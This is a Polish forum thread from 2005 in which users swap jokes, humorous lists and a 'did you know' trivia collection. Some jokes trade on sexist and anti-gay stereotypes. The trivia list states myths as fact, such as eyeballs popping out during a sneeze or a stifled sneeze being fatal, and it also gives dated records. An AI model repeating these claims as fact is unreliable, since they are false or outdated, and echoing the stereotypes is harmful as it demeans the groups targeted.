wylecial z samochodu i przez szybe wpadl do mojej sypialni...
- Daj spokoj, przeciez to straszne tak zginac!
- Ależ nie, on wciąż jeszcze żył. Lezał tak cały we krwi w tym rozbitym
szkle i nagle zauwazyl taka stara, zabytkowa szafe. Wyciągnął rękę i
chwycił
się szafy, żeby wstać. Niestety szafa z całym impetem przewróciła się na
niego i pogruchotała mu kości...
- Rany, jaka okropna śmierć!
- Nie, nie, utrzymał się przy życiu. Jakoś wypełznął spod szafy i
doczołgał się do schodów. Tam chwycił się poręczy i próbował podnieść, ale
poręcz nie wytrzymała ciężaru jego ciała i urwała się pod nim. Staszek
spadł
z pierwszego piętra na stół w korytarzu, a połamane kawałki poręczy
powbijały mu się w ciało...
- Psiakrew, strasznie zginął!
- No co ty, to go nie zabiło. Spadł tuż obok drzwi do kuchni, czołga
się
do środka i próbuje podciągnąć na kuchence, ale zahaczył o duży garnek z
gotującą się wodą i chlust! Człowieku, cały wrzątek wylądował na nim i
poparzył mu ciało...
- Cholera, przerażająca taka śmierć!
- Ależ nie, wciąż jeszcze oddychał. Mało tego, w pewnym momencie
zauważył telefon. Próbował dosięgnąć słuchawki, żeby wezwać pomoc, ale
zamiast tego wetknął palce do gniazdka elektrycznego. Żebyś ty to widział,
woda w połączeniu z prądem wywołała istny żywioł i Staszkiem szarpnęło
napięcie rzucając jego ciałem o ścianę...
- O rany, okropnie tak umrzeć!
- Daj spokój, on wtedy jeszcze nie umarł...
- To właściwie jak on zginął?
- Zastrzeliłem go!
- Zastrzeliłeś go?
- Ku.wa, człowieku, przecież on by mi rozp...dolił całą chałupę!

nuras5 - 30-05-2005, 14:13

 Co by sie stało gdyby męzczyzni naprawde rzadzili swiatem?

1. Święto Kobiet 8 marca zostałoby przeniesione na 29.02
(raz na  cztery lata  idzie to znieść)
2. Krawata można nie wiązać, rozporka nie zapinać
3.Operacja powiększenia piersi byłaby refundowana przez NFZ
4.Wszystkie kobiety miałyby to samo imię - dla uproszczenia
5. Wszystkie kobiety miałyby alergię na złoto, futra i
drogie kamienie
6. W pracy chłopak który najlepiej  gra w Quake
automatycznie byłby wybierany na kierownika
7. Każdy  telefon przerywałby połączenie po 30 sekundach
rozmowy
8. Uważne wpatrywanie się w  kobiecy biust na pierwszej
randce byłby odbierany jako miłosne wyznanie
 9.Za jazdę lewym pasem 60km/h rozstrzeliwano by na miejscu
10. Przewracanie kopniakiem stolika z szachami, warcabami
lub grą monopol automatycznie oznaczałoby zwycięstwo
11. Na początku każdego wydania wiadomości  prowadzący
     opowiadałby najnowsze sprośne kawały
12. Wynaleziono by skarpetki, które by  istniały tylko w
parach.
Pozostawione w różnych miejscach podpełzałyby energicznie do
siebie
13. Bikini byłoby najlepszym ubraniem  bizneswomen.
     I nie bizneswomen też
14. Kobiety miałyby okres raz do roku -
podczas otwarcia  sezonu na ryby...


Czyż świat nie byłby piękny???

Kuba - 31-05-2005, 13:03

Podchodzi facet do kiosku i prosi o paczke fajek.
Kioskarka mu podaje. On patrzy, czyta:

UWAGA! PALENIE TYTONIU POWODUJE IMPOTENCJE

Facet oddaje fajki i mowi:
- Pani mi da takie z "rakiem"

[ Dodano: 31-05-2005, 13:06 ]
Konstytucja UE w pigulce
*********************
1. Boga nie ma, jest tylko tolerancja i polityczna poprawność.
2. Historia Europy zaczyna się od oświecenia i rewolucji francuskiej
3. Wszyscy ludzie są równi, ale geje i lesbijki są równiejsi.
4. Tolerancja tak, ale nie wobec chrześcijan i Żydów.
5. Wszystkie religie sa równe, ale islam jest równiejszy.
6. Wolna konkurencja i przedsiębiorczość są ok, ale ktoś musi tym rządzić i wydawać koncesje.
7. Europa socjalna broni słabszych, dlatego aborcja i eutanazja są dozwolone i zalecane.
8. Wszystkie państwa są równe, ale Francja i Niemcy są równiejsze.
9. Zabrania się używać słów "terrorysta islamski", "homoseksualista" i nakazuje używanie słownika politycznie poprawnej nowomowy.
10. Autorzy konstytucji wyrażają sobie podziękowanie i nakazują jej jednomyślne przyjęcie (inaczej stracicie okazję, żeby siedzieć cicho).

Rumelia - 03-06-2005, 12:56

Trzech facetów siedzi w barze i opowiada o tym, co kupili swoim żonom na
urodziny.
Pierwszy z nich mówi:
- Ja kupiłem swojej zonie coś, co idzie od 0 do 100 w niecałe 6 sekund.
Pozostali pytają - co to?
- Ach, wiecie, białe Porsche tak pięknie pasuje do jej blond włosów...
- Za to ja kupiłem swojej żonie coś, co od 0 do 100 potrzebuje zaledwie
4 sekundy - mówi drugi - kupiłem jej Ferrari! Czerwone! Bo tak jej
pięknie z jej rudymi rozwianymi włosami...
Na to trzeci:
- A ja kupiłem żonie coś, co do setki potrzebuje krócej niż sekundę.
- Przesadzasz. Nie ma tak szybkiego samochodu.
- Ale ja nie kupiłem jej samochodu.......ja kupiłem jej wagę ....

Efraim Ryba - 07-06-2005, 09:18

Wchodzi facet do apteki i cichutkim głosem mówi:
- Nerwosol poproszę...
- Co proszę?
- NERWOSOL Q F A!!!!!

[ Dodano: Wto 07 Cze, 2005 ]
Jak złapać zajączka?
Należy zaczaić się w głębokiej trawie i długo i cierpliwie wydawać odgłos marchewki.

tsharny - 07-06-2005, 13:00

Sobota. Wieczorem walczy Gołota o mistrzostwo świata.
3 godz. przed walką - Roman kupuje piwo i precelki. Duuużo piwa.
2 godz. przed gongiem - Roman sprawdza czy piwo mrozi się w lodówce.
30 min przed walką - Roman odgrzewa precelki, przekłada piwo.
1 minuta - Roman siedzi przed telewizorem, zimne piwo w łapie, w drugiej -
ciepły precelek.
Gong... !!!
Pierwsza runda, pierwszy cios... drugi.. trzeci...Nokaut!!!
Roman siedzi, nic nie mówi. Wzdycha. Łzy mu się w oku kręcą.... Wkur***ny na
maxa. W drzwiach stoi jego żona, Rozalia. Spogląda na Romana i rzecze :
- I co? Teraz mnie rozumiesz?

pozdrawiam
tsharny

Miłosz - 07-06-2005, 15:33

Wnusio wysyla babci paczke z wojska. Babcia otwiera paczke - patrzy - granat, a obok list...
"Kochana babciu, jak pociagniesz za koleczko, dostane 3 dni przepustki"

Do ciezko rannego w wypadku podchodzi ksiadz:
- Czy wierzysz w Boga?
- Chlopie, ja umieram, a tobie sie na zagadki zbiera?!

Pewnego razu chlopak zapytal dziewczyne:
- Wyjdziesz za mnie?
Ona odpowiedziala:
- Nie.
I odtad chlopak zyl dlugo i szczesliwie..

W samolocie nad pasazerem pochyla sie stewardesa. Duuuuuze niebieskie oczy o malo nie wyskocza z dekoltu w mundurku.
- Kawe czy herbate?
- A w ktorym jest kawa...?

Lekarz do lekarza:
- Mam dziwny przypadek. Pacjent, ktorego lecze, powinien juz dawnozejsc, a on zdrowieje.
- No coz, drogi kolego, czasami medycyna jest bezsilna.

Pozdro,
Nishi :angel2:

Remol - 08-06-2005, 21:42

>>> Praktykant pyta ordynatora szpitala:
>>> - Co mam wpisać w rubryce "przyczyna zgonu" ?
>>> - Swoje nazwisko ...

>>> Lekarz wypisując chorego po operacji udziela mu rad:
>>> - Nie palić, nie pić pod żadnym pozorem, co najmniej osiem
>>> godzin snu dziennie.
>>> - A co z seksem?
>>> - Tylko z żoną, wszelkie podniecenie mogłoby pana zabić!

>>> - Co sie tak cieszysz, stara?
>>> - Leszek od wojska sie wywinal.
>>> - Super. Zaplaciliscie lekarzowi?
>>> - Nie, do wiezienia idzie.

>>> Barman opieprza kelnera:
>>> - Kiedy wreszcie przestaniesz wyrzucać pijanych klientów na
>>> zewnątrz??
>>> - Przecież nawalonych się wyrzuca z lokalu
>>> - Ale k**wa nie w "WARSIE"!!!

>>> Zgubiono czarną dyplomatkę.
>>> Uczciwego znalazcę prosimy o odprowadzenie tej alkoholiczki do
>>> ambasady Czadu.

>>> Dorastająca córka pyta matkę:
>>> - Mamusiu, co się dzieje z miodem z miodowego miesiąca?
>>> - Wsiąka w męża i tak powstaje stary piernik.

>>> Wieczór w parku chłopak czule szepcze dziewczynie do ucha:
>>> - Kochana wypowiedz te słowa, które połączą nas na wieki ....
>>> - Jestem w ciąży!!!

>>> Wchodzi młody junak do żeńskiego akademika:
>>> - A ty do kogo młody człowieku - pyta portierka.
>>> - A kogo by mi pani poleciła?

- Skoczyłem wczoraj pierwszy raz ze spadochronem.
- No i co?
- No i nic. Dowiedziałem się, gdzie się wydziela adrenalina.


* * * * *

W biurze :
- Czemu spóźniasz się pan do pracy ?
- Wysyłałem żonę za granicę...
- To miło, ale dlaczego tak długo?
- Stawiała się przy pakowaniu w karton...


* * * * *

W domu państwa Kowalskich dzwoni telefon. Pani Kowalska podnosi słuchawkę.
- Słucham?
- Czy jest Krysia?
- Pomyłka. Krysia tu nie mieszka.
Za chwilę znowu dzwoni telefon.
- Słucham?
- A gdzie ona mieszka?


* * * * *

Córka do matki :
- Mamo, mówią, że jestem nienormalna.
- Kto tak mówi?
- Muchy.

Efraim Ryba - 12-06-2005, 09:04

Dowcip w celu ucenzuralnienia przeszedł pewna modyfikację, ale kto będzie chciał ten sobie w myślach wymieni jedno słówko:

Kładzie się facet wieczorem spać i tak sobie myśli:
- Wczoraj było wujowo, dzisiaj było wujowo. Wszystko wskazuje na tu, że jutro też będzie wujowo....
Czyżby wreszcie nadeszła ta długo oczekiwana stabilizacja?

Tomek Radomski - 12-06-2005, 10:35

Przychodzi do spowiedzi młody człowiek:
- Proszę księdza, zgrzeszyłem!
- Żałuj za grzechy, synu. Jak zgrzeszyłeś?
- Poszedłem w odwiedziny do przyjaciela. Nie było go w domu, ale była jego żona. Zaczęło padać a ja nie miałem parasola. Żona przyjaciela zaproponowała, żebym został. Zostałem i zgrzeszyłem z nią!
- Tak. To grzech synu. Ale daję Ci rozgrzeszenie.
- To jeszcze nie wszystko, proszę księdza. Poszedłem do teścia w odwiedziny, jego nie było ale była teściowa. Zaczęło padać a ja nie miałem parasola.
Teściowa zaproponowała, żebym został. Zostałem i zgrzeszyłem z nią!
- Tak. To wielki grzech, mój synu. Ale i za ten grzech daję Ci rozgrzeszenie.
- To jeszcze nie wszystko, proszę księdza. Przyszedłem kiedyś do teściowej, jej w domu nie było. Zaczął deszcz padać, nie miałem parasola, teść zaproponował, żebym został... Zostałem i zgrzeszyłem z teściem.
- Synu, masz parasol ze sobą?
- Nie.
- Idź więc z Bogiem, zanim zacznie deszcz padać.

tsharny - 16-06-2005, 14:34

Basia wychodzi za mąż za Tomka, amatora fitnessu, zdrowego żywienia oraz
pism dla ćwiczących panów. W noc poślubną Tomek łapie Basię za biust i
mówi:
- Kochanie, coś mi tu nie gra. Poćwicz trochę na atlasie, a będziemy
wreszcie mogli pozbyć się biustonosza.
Po miesiącu Basia prezentuje swój nowy biust, Tomek maca i zdejmuje biustonosz.
Potem miętosi jej pośladki i rozczarowany mówi:
- Coś tu nie gra. Poćwicz na rowerku, a będziemy mogli pozbyć się majteczek.
Po miesiącu Basia prezentuje nową dupcię i Tomek zdejmuje jej majteczki.
Teraz jednak ona zaczyna go macać. Łapiąc na koniec za jego penisa, mówi:
- Kochanie, coś mi tu nie gra. Poćwicz trochę, a będziemy wreszcie mogli
pozbyć się hydraulika, twego wuja i listonosza!


Facet przychodzi do fryzjera i mówi, że z ostatniej wizyty u niego nie
jest zadowolony - na policzkach pozostały mu kępki zarostu.
Fryzjer odpowiada, że ma sposób na dokładniejsze golenie i wyciąga z
szuflady drewnianą kulkę. Każe ją facetowi włożyć w usta. I rzeczywiście,
perfekcyjnie goli naprężoną w ten sposób skórę policzków.
Zadowolony z efektu klient płaci za usługę i szykując się do wyjścia, pyta:
- A co by się stało, gdybym przez przypadek połknął tę kulkę?
- Nic strasznego - uspokaja go fryzjer
- Przyniósłby pan ją jutro, wszyscy tak robią.


Paralotniarz umawia się z kolegami na wyjazd na latanie. Wstaje rano,
ubiera się, wychodzi z domu, a tam wicher, zawierucha, ulewa i ślady
po przymrozku. Spogląda w niebo. Mruczy do siebie: Nie, kurczę, daruję
sobie dzisiaj.
Wraca do domu. Rozbiera się cichutko, z ulgą wsuwa pod kołdrę i
przytula do śpiącej tyłem do niego żony.
Żona pyta:
- To ty?
- To ja - odpowiada paralotniarz.
- Zmarzłeś?
- Zmarzłem i zmokłem...
- No widzisz, a ten idiota pojechał latać.


Pewnego wieczora ojciec słyszy modlitwę synka:
- Boże, pobłogosław mamusię, tatusia i babcię. Do widzenia, dziadziu.
Uznaje, że to dziwne, ale nie zwraca na to szczególnej uwagi.
Następnego dnia dziadek umiera.
Jakiś miesiąc później ojciec ponownie słyszy dziwną modlitwę synka:
- Boże, pobłogosław mamusię i tatusia. Do widzenia, babciu.
Następnego dnia babcia umiera. Ojciec jest nie na żarty przestraszony.
Jakieś dwa tygodnie później słyszy pod drzwiami syna:
- Boże, pobłogosław mamę. Do widzenia, tatusiu.
Ojciec - prawie w stanie przedzawałowym. Następnego dnia idzie do
roboty wcześniej, żeby uniknąć ruchu ulicznego. Cały czas jest jednak
spięty, rozbity, rozkojarzony, spodziewa się najgorszego. Po pracy idzie
wzmocnić się do pubu. Do domu dociera koło północy. Od progu przeprasza żonę:
- Kochanie, miałem dzisiaj fatalny dzień...
- Miałeś zły dzień? Miałeś zły dzień? Ty?! A co ja mam powiedzieć?
Listonosz miał zawał na progu naszych drzwi!


Czwórka przyjaciół gra w golfa. Przy jedenastym dołku jeden z nich
opuszcza grę i wychodzi do toalety. Pozostała trójka w oczekiwaniu
na jego powrót zaczyna rozmawiać o swoich synach. Pierwszy:
- Jestem dumny ze swojego syna. Wiecie, co ostatnio zrobił? Kupił
swojemu koledze samochód!
- Ja też muszę przyznać, że jestem z mojego syna bardzo dumny - mówi
drugi. Wiecie, co on kupił koledze? Ogromną łódź motorową!
- To jeszcze nic, wiecie, co mój kupił swojemu koledze? Dom z wielkim
ogrodem, kortami i basenem! - chwali się trzeci.
Wreszcie czwarty facet wraca i pyta pozostałych o temat rozmowy.
- A wiesz, gadamy sobie o naszych synach. Wspaniałe te nasze dzieciaki.
A co z twoim?
- Co ja mogę powiedzieć? Dumny z niego raczej nie jestem, bo to gej.
Ale z drugiej strony muszę przyznać, że jakoś sobie radzi w życiu.
Wiecie, co dostał w prezencie od swoich ostatnich trzech partnerów?
Dom, samochód i łódź motorową!


Einstein pojawia się przy bramie do niebios. Św. Piotr:
- Okej, wyglądasz jak Einstein, ale musisz to udowodnić. Kurde,
ty nie wiesz, jakich sztuczek ludzie próbują, żeby tu się dostać.
- Mogę prosić kawałek kredy i tablicę?
Św. Piotr pstryka palcami, pojawia się tablica i kreda. Einstein
objaśnia zasady matematyki i fizyki, rysuje na tablicy wykresy, itp.
- Już dobra, dobra. Wierzę ci, wchodź.
Następny - Picasso. Scena się powtarza.
Picasso kilkoma ruchami tworzy piękny, surrealistyczny obraz.
- Wchodź, człowieku, wchodź, widzę przecież, że masz talent.
Po jakimś czasie do nieba przychodzi Lepper.
- Picasso i Einstein udowodnili, kim są. A ty?
- A kto to Picasso i Einstein?
- Zapraszam, Andrzejku, zapraszam...


Staruszek podchodzi do konfesjonału i szepcze z przejęciem:
- Mam 92 lata. Mam wspaniałą żonę, która ma 70 lat. Mam dzieci,
wnuki i prawnuki. Wczoraj podwoziłem samochodem trzy siedemnastki,
zatrzymaliśmy się w motelu i uprawiałem seks z wszystkimi naraz.
- Czy żałujesz, synu, tego grzechu?
- Jakiego grzechu?
- To co z ciebie za katolik?
- Jestem ateistą.
- To czemu mi to wszystko opowiadasz?
- Wszystkim opowiadam!

nevada - 16-06-2005, 14:58

Kazik od zawsze robił to co lubił : całował żonę, wślizgiwał się do wyrka i od razu zasypiał. Pewnego dnia obudził się obok podstarzałego faceta ubranego w biały szlafrok.
- Co ty do k... nędzy robisz w moim łóżku?...I kim do cholery jesteś?- zapytał facet.
- To nie jest twoja sypialnia. Jestem Św. Piotr i jesteś w niebie - dodał.
- Że co ??!!Twierdzisz, że jestem martwy?? Nie chcę umierać, jestem na to jeszcze za młody! Chcę natychmiast wrócić na Ziemię!
- To nie takie proste - odpowiedział święty. - Możesz wrócić jako kura albo jako pies. Wybór należy do ciebie
Kazio pomysłał przez chwile i doszedł do wniosku, że bycie psem jest stanowczo za bardzo męczące a życie kury wydaje się być miłe i relaksujące. Bieganie po zagrodzie z kogutem nie może być złe.
- Chcę powrócić jako kura - odpowiedział.
W kilka sekund później znalazł się w skórze całkiem przyzwoicie upierzonej kury. Nagle jednak poczuł, że jego kuper zaraz eksploduje. Wtedy podszedł do niego kogut.
- Hey! To pewnie ty jesteś tą nową kurą, o której mówił mi Św. Piotr" - powiedział kogut "Jak ci się podoba bycie kurą?"
- No jest ok ale mam to dziwne uczucie, że mi kuper zaraz eksploduje"
- Ooo, no tak. To znaczy, że musisz znieść jajko - powiedział kogut
- Jak mam to zrobić?
- Gdaknij dwa razy i zaprzyj się jak najmocniej potrafisz"
Kazio zagdakał i zaparł się jak najmocniej potrafił. Nagle "chluś" i jajko było już na ziemi.
- Łoł to było piękne - powiedział Kazik. Zagdakał jeszcze raz, zaparł się i wypadło z niego kolejne jajo. Za trzecim razem, gdy zagdakał usłyszał krzyk swojej żony:
- Kazik co ty k... robisz! Obudź się! Zasrałeś całe łóżko!!!!"

tsharny - 16-06-2005, 15:40

Do seksuologa przychodzi facet i zgłasza mu swoje problemy z erekcją. Lekarz każe mu się rozebrać, dokładnie ogląda jego organy, potem wyjmuje z szafki jodynę, smaruje mu jedno jajo na fioletowo, zapisuje coś w karcie pacjenta i kieruje go z nią do lekarza mającego gabinet na drugim końcu przychodni.
Facet wchodzi do drugiego gabinetu daje kartę doktorowi, ten czyta, każe mu się rozebrać, wyciąga z szafki jakiś płyn, maluje mu drugie jajo na zielono, zapisuje też coś w karcie i odsyła gościa z powrotem do pierwszego specjalisty.
Po drodze klient postanowił sprawdzić co mu dolega. Otworzył szarą kopertę wyciągnął swoją kartę i czyta.
Wpis pierwszy :
" Z okazji Świąt Wielkanocnych, przesyłam panu doktorowi najserdeczniejsze życzenia. dr. Kowalski"
Wpis drugi :
" Dziękuję za miłe słowa, Panu też życzę dużo wielkanocnej radości, dr Malinowski "

pozdrawiam
tsharny

Aston - 17-06-2005, 15:57

Unia Europejska XXI w.

[operator]: Dziękujemy, że wybrał pan nasza pizzerię. Czy mogę
prosić o pański numer EUROPESEL ?
[klient]: Dzień dobry. Chciałbym złożyć zamówienie.
[o]: Czy mogę najpierw prosić pański numer EUROPESEL ?
[k]: Mój EUROPESEL, tak.... już ...chwileczkę...to jest
2165052031412341123221854332223.
[o]: Dziękuję, panie Nowak. Widzę, że mieszka pan przy ulicy Żytniej 14,
a pański numer telefonu to 56320302. Numer telefonu w
pańskim biurze to 54356326 a numer pańskiej komórki to 88234924 Z
którego numeru pan dzwoni?
[k]: Co? Dzwonię z domu. Skad pan ma te wszystkie informacje?
[o]: Jestesmy podł czeni do Systemu, proszę pana.
[k]: (wzdychajac) A... tak... Chciałbym zamówić dwa razy waszą
Pizzę Samo Mięcho.
[o]: To chyba nie jest dobry pomysł, proszę pana.
[k]: Co pan ma na mysli?
[o]: Proszę pana, w pańskiej kartotece medycznej jest napisane,
że ma pan za wysokie cisnienie i ekstremalnie wysoki poziom
cholesterolu. Twój Narodowy Opiekun Zdrowia nie zezwoli na takie
niezdrowe zamówienie.
[k]: Cholera. To co pan proponuje?
[o]: Może pan spróbować naszej niskotłuszczowej Pizzy Sojowej.
Z pewnoscia panu zasmakuje
[k]: Czemu pan sądzi, że mi to zasmakuje?
[o]: Wypożyczał pan w zeszłym tygodniu " Sojowe przepisy kulinarne" z
biblioteki, dlatego własnie to panu zasugerowałem.
[k]: Ok, ok. Proszę więc dwie rodzinne. Zaraz podam panu numer
karty kredytowej.
[o]: Obawiam się, że będzie pan musiał zapłacić gotówka, bo
przekroczył pan limit na koncie karty kredytowej.
[k]: No to skoczę do banku tu obok i przyniosę gotówkę zanim wasz
kierowca dostarczy pizzę.
[o]: Pańskie konto czekowe, również jest już wyczerpane.
[k]: Nieważne. Po prostu przyślijcie pizzę, mam już gotówkę gotową. Jak
długo to zajmie?
[o]: Obawiam się, że około 45 minut, gdyż mamy teraz dużo zamówień.
Chyba, że jesli chce pan jechać po gotówkę, to po drodze sam pan
podjedzie po zamówienie. Jednakże wożenie pizzy motocyklem może być
ryzykowne.
[k]: Skad u diabła pan wie, że jeżdżę na motorze?!
[o]: Pisze tutaj, że oczekuje się na pana z pierwszą wpłate na samochód.
Ale motocykl ma pan już spłacony.
[k]: !!#@#^>_@!!
[o]: Radzę uważać co pan mówi. Ma pan już przecież kolegium za obrażenie
policjanta w lipcu 2006 roku oraz wyrok za opowiedzenie
nietolerancyjnego dowcipu nekrofilach.
[k]: (Milczenie)
[o]: Czy chce pan coś jeszcze ?
[k]: Tak, mam kupon na darmowe dwa litry coli.
[o]: Przykro mi, proszę pana, ale nasz regulamin zabrania podawania coli
cukrzykom..........

tsharny - 20-06-2005, 10:22

Pewien Mężczyzna spacerujący w Kalifornii po plaży znalazł lampę.
Po potarciu wyskoczył zdenerwowany dżin i mówi: O.K., O.K. Uwolniłeś
mnie z lampy. Bla. bla. bla.
- To jest już czwarty raz w tym miesiącu! Mam tego spełniania
życzeń powyżej uszu! Zapomnij o 3 życzeniach. Masz tylko jedno!
Mężczyzna:
- Zawsze chciałem pojechać na Hawaje, ale bardzo boje się latać
samolotami. Czy nie mógłbyś zbudować mostu aż do Hawajów? Mógłbym
wówczas pojechać samochodem. Dżin się zaśmiał.
- To jest niemożliwe. Pomyśl logicznie! Przecież nośniki mostu nie
sięgną dna Pacyfiku! Pomyśl ile betonu, ile stali. NIE! Wymyśl
jakieś inne życzenie!
Mężczyzna:
- Byłem żonaty 4 razy. Moje żony zawsze mi mówiły, że nie dbam o
nie, że nie jestem wrażliwy. A zatem spełnij moje życzenie, żebym
zawsze rozumiał kobiety, wiedział, co czują, co myślą, dlaczego
płaczą. Żebym wiedział, co naprawdę chcą, żebym wiedział, co zrobić,
żeby były zawsze szczęśliwe.
Dżin na to:
- Chcesz ten most z dwoma pasami ruchu czy z czterema?

pozdrawiam
tsahrny

Miłosz - 20-06-2005, 12:12

- Stary, mam do ciebie prośbę - nie przychodź do mnie więcej w gości. Po twojej wizycie zginęły nam pieniądze.
- No coś ty! Chyba nie myślisz, że to ja wziąłem!
- Eeee, nie, wiem, że nie wziąłeś, bo je potem znaleźliśmy. Ale taki niesmak pozostał.

Aston - 20-06-2005, 12:40

Kontrola sanepidu w szkolnej stołówce...
Kontroler:
- Co to jest to zielone i pomarańczowe?
Pani ze stołówki:
- Zielony jest alegorią - trudne słowo - szyneczki z Constaru, a
pomarańczowy jest metaforą - jeszcze trudniejsze słowo - barszczyku
ukraińskiego...

tsharny - 22-06-2005, 09:02

Nie ma to jak w małżeństwie

Wojtek (żonaty od 11 lat) - Od lat kocham tę samą kobietę.
Żona mnie zabije, jak się dowie!

Zbyszek (żonaty od 23 lat) - Mamy z żoną sposób na szczęśliwe
pożycie małżeńskie. Dwa razy w tygodniu idziemy do przytulnej
restauracji, trochę wina, dobre jedzenie... Żona chodzi we wtorki,
a ja w piątki.


Henryk (żonaty od 17 lat) - Ktoś mi ukradł wszystkie karty
kredytowe, ale nie zamierzam zgłosić tego na policję. Złodziej
wydaje mniej niż moja żona.

Mirek (żonaty od 12 lat) - Wszędzie zabieram moją żonę, ale Ona
zawsze znajduje drogę powrotną.


Jurek (żonaty od 29 lat) - Zapytałem żonę: "Gdzie chciałaby pójść
na naszą rocznicę?"
Ona na to: "Gdzieś, gdzie jeszcze nie byłam"
Więc odpowiadam: "Może do kuchni ?"


Piotrek (żonaty od 3 miesięcy) - Zawsze trzymamy się za ręce.
Jak puszczę, to zaraz robi zakupy.

Michał (żonaty od 21 lat) - Żona ma elektryczną sokowirówkę,
elektryczny toster, elektryczny piecyk do chleba. Kiedyś
powiedziała, że ma tyle gadżetów, że nie ma gdzie usiąść.
Więc jej kupiłem krzesło elektryczne.


Leon (żonaty od 11 lat) - Dostaliśmy z żoną pokój z łóżkiem wodnym
w hotelu. Żona nazwała go Morzem Martwym.

Władek (żonaty...... zdziwiony że kobiety tak długo żyją) - Żona
zrobiła sobie maseczkę błotną i wyglądała świetnie przez dwa dni.
Potem błoto odpadło...

pozdrawiam
tsharny

Isabelle - 22-06-2005, 11:26

Raczej z kategorii ciekawostki niz dowcipy ale niezle :22:

Czy wiesz, ze:

Niemożliwe jest polizanie własnego łokcia.
Gdy mocno kichasz możesz złamać sobie żebra.
Gdy próbujesz powstrzymać kichnięcie, naczynia krwionośne w mózgu lub szyi mogą pęknąć, a Ty umarłbyś.
Gdy kichasz z otwartymi oczyma, gałki oczne mogą zostać wypchnięte.
Budowa ciała świni uniemożliwia jej spojrzenie w niebo.
50% ludności na świecie nigdy nie otrzymało ani nie wykonało telefonu.
Szczury i konie nie mogą wymiotować.
Założenie słuchawek tylko na jedną godzinę powoduje wzrost ilości bakterii w Twoim uchu o 700%.
Zapalniczkę wynaleziono wcześniej niż zapałki.
Kwakanie kaczki nie powoduje echa i nikt nie wie, dlaczego.
23% wszystkich uszkodzeń kopiarek powodowanych jest przez ludzi, którzy na nie siadają, aby skopiować swój tyłek.
W swoim życiu, w czasie snu zjadasz około 70 insektów i 10 pająków.
Dokładnie jak odciski palców, odcisk języka jest niepowtarzalny.
Nie można złożyć kartki papieru A4 więcej niż 7 razy.
Na większości reklam, w których widać zegar czas jest ustawiony na 10:10.
Coca-cola początkowo była zielona.
Miód jest jedynym produktem, który się nie psuje. Znajdowano miód w grobowcach faraonów, który nadawał się do spożycia.
Przeciętny holenderski nastolatek mówi lepiej po angielsku niż amerykański.
Język wieloryba - płetwala błękitnego jest dłuższy niż cały słoń a jego serce większe niż mały samochód.
Al Capone miał na wizytówce napisane, że jest sprzedawcą używanych mebli.
Amerykańskie linie lotnicze w 1987 roku zaoszczędziły 40.000 dolarów zmniejszając o 1 ilość oliwek podawanych w sałatce w pierwszej klasie.
Pierwszą parą pokazaną na filmie razem w łóżku byli Fred i Wilma Flinstonowie.
W Alabamie (USA) nie wolno grać w domino w niedziele.
Najszybszym komputerem na świecie jest japoński superkomputer NEC Earth Simulator o wielkości czterech boisk tenisowych. Zawiera on ponad 8 tysięcy mikroprocesorów mogących wykonać do 12 trylionów operacji na sekundę, czyli 30 tysięcy razy więcej niż przeciętny "pecet".
Najszybsza wyszukiwarką w polskim Internecie jest www.NetSprint.pl. Na większość zapytań odpowiada w czasie poniżej 1 sekundy. Gdyby ktoś chciał wykonać jej jednorazową pracę ręcznie, zajęłoby mu to 74 lata.
Największą grupą unikalnych użytkowników może poszczycić się portal www.Yahoo.com. Miesięcznie odwiedza go ponad 200 milionów osób, czyli 50 razy więcej niż jest wszystkich Internautów w Polsce.
A najpopularniejszą stroną w historii Internetu (jak na razie) jest serwis Mundialu www.FIFAworldcup.com, którego zasoby przejrzano już 2 miliardy razy. To tak jakby wszyscy polscy Internauci przez 1 miesiąc ograniczali swoje surfowanie tylko do jego zawartości.

Ponad 70% osób, które to czytają w biurze będą próbowały złożyć kartkę papieru więcej niż 7 razy. To jest naprawdę niemożliwe! :mrgreen:

Ponad 75% osób, które to czytają będą próbować polizać swój łokieć. To jest naprawdę niemożliwe!


Powyższy tekst pochodzi ze strony www.joemonster.org

kjar - 22-06-2005, 11:41

Isabelle napisał/a:
Kwakanie kaczki nie powoduje echa i nikt nie wie, dlaczego.

Akurat to zagadnienie zostało wyjaśnione.

Isabelle - 22-06-2005, 11:54

kjar napisał/a:
Isabelle napisał/a:
Kwakanie kaczki nie powoduje echa i nikt nie wie, dlaczego.

Akurat to zagadnienie zostało wyjaśnione.



Witaj Kjar, krajaninie drogi :-D

A napisalbys moze dlaczego tak sie dzieje... (faktycznie tak jest?)

kjar - 22-06-2005, 12:24

Isabelle napisał/a:
Witaj Kjar, krajaninie drogi :-D

Witaj Isabelle.

Isabelle napisał/a:
A napisalbys moze dlaczego tak sie dzieje... (faktycznie tak jest?)

W przypadku typowych dźwięków ich charakterystyka wyrażnie różni sie od charakterystyki ich echa. Po prostu potrafimy rozróżnić dźwięk pierwotny od jego echa.

Kwakanie kaczki ma szczególną charakterystykę dźwiekową, która w bardzo niewielkim stopniu ulega zmianie podczas odbicia. Tak wiec echo kwakania jest dla człowieka praktycnie nierozróżnialne od samego kwakania.

To wyjaśnia dlaczego nie słyszymy dźwięku, który byśmy rozpoznali jako echa kwakania. Oczywiście echo powstaje tak jak dla każdego słyszalnego dźwięku.

Andrzej Kosko - 22-06-2005, 13:06

Cytat:
Przeciętny holenderski nastolatek mówi lepiej po angielsku niż amerykański
To amerykański nastolatek potrafi jeszcze mówić? O,to nie jest tak żle jak myślałem....
tsharny - 23-06-2005, 11:10

Kolejka w aptece.
Pierwszy klient podchodzi do okienka, daje receptę, aptekarz mówi mu
320 zlotych proszę. Drugi podchodzi, daje receptę, aptekarz mówi mu 340
zlotych. Trzeci podchodzi, aptekarz mówi mu 390 zlotych. Czwarty facet
w kolejce się lekko poddenerwował i mówi:
- Panie mgr, wszyscy idziemy od tego samego lekarza, wszyscy mamy taki
sam lek na recepcie, dlaczego jedni placą mniej, a inni więcej?
Mgr odpowiada:
- No wie pan, mamy taki kod z lekarzem, taką umowę.
Facet się zdenerwował i mówi:
- Panie, niech pan nam powie co to za lek, dlaczego ma inną cene? Na
recepcie było napisane : CC NWKCMJDMCC CC. Klienci zaczeli nerwowo
naciskać na aptekarza, bardzo chcieli żeby im przeczytal co to oznacza,
co to za lekarstwo... W końcu aptekarz pod wpływem nacisku zaczął
czytać z rumieńcami na twarzy:
- Ceść Cesiek, Nie Wiem K...a Co Mu Jest, Daj Mu Co Chcesz, Ceść
Cesiek.

pozdrawiam
tsharny

[ Dodano: 23-06-2005, 14:56 ]
Dopiekło facetowi życie, postanowił się powiesić...
Zmajstrował stryczek, przymocował go do żyrandola, wlazł na stołek,
